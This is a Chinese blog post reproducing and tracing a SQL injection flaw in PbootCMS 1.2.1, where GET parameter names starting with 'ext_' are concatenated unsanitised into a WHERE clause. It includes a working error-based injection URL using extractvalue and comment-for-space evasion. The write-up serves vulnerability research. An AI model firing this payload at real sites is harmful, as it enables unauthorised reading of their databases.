PbootCMS 1.2.1 SQL注入

1.漏洞复现

PbootCMS 1.2.1,下载仓库 · 星梦/PbootCMS - Gitee.com

复现

访问触发SQL注入:http://127.0.0.1/?ext_price/**/%3d/**/extractvalue(1,concat(0x7e,(database()))))%23=1

2.逆向分析

从敏感函数逆向分析

ParserModel类

/apps/home/model/ParserModel.php

getSpecifyList方法

敏感函数 getSpecifyList方法 定义与此

// 指定列表内容,不分页
public function getSpecifyList($scode, $num, $order, $filter = array(), $where = array(), $fuzzy = true)
{
  ...
  return parent::table('ay_content a')->field($fields)
  ...
  ->where($where, 'AND', 'AND', $fuzzy)
  ...
  ->select();
}

会通过 where方法 进行了 SQL语句 拼接,然后执行 SQL语句

ParserController类

/apps/home/controller/ParserController.php

parserSpecifyListLabel方法

敏感函数 getSpecifyList方法 位于 ParserController类 的 parserSpecifyListLabel方法

// 解析指定分类列表标签
public function parserSpecifyListLabel($content)
{
  ...
  // 数据筛选  $where2 = array();
  foreach ($_GET as $key => $value) {
    if (substr($key, 0, 4) == 'ext_') { // 其他字段不加入
      $where2[$key] = get($key);
    }
  }
  ...
  $data = $this->model->getSpecifyList($scode, $num, $order, $where1, $where2);

发现只要 GET请求 参数名前四个字符为 ext_ 就可以插入 SQL语句 并执行

Model类

/core/basic/Model.php

where方法

在 return 上面添加,看看最终的 SQL语句 是什么:

final public function where($where, $inConnect = 'AND', $outConnect = 'AND', $fuzzy = false)
{
  ...
  file_put_contents('1.txt', $this->sql['where']);
  return $this;
}

访问 http://127.0.0.1:92/ext_=777,看到注入的 SQL语句 拼接进去了,导致了 SQL注入

WHERE(a.scode in ('5','6','7') OR a.subscode='5') AND(a.acode='cn' AND a.status=1 AND d.type=2) AND(ext_ like '%777%' )

用 /**/ 代替空格,是因为 GET请求 参数名中不能有空格

posted @ 2023-05-10 14:42  Hacker&Cat  阅读(116)  评论(0编辑  收藏  举报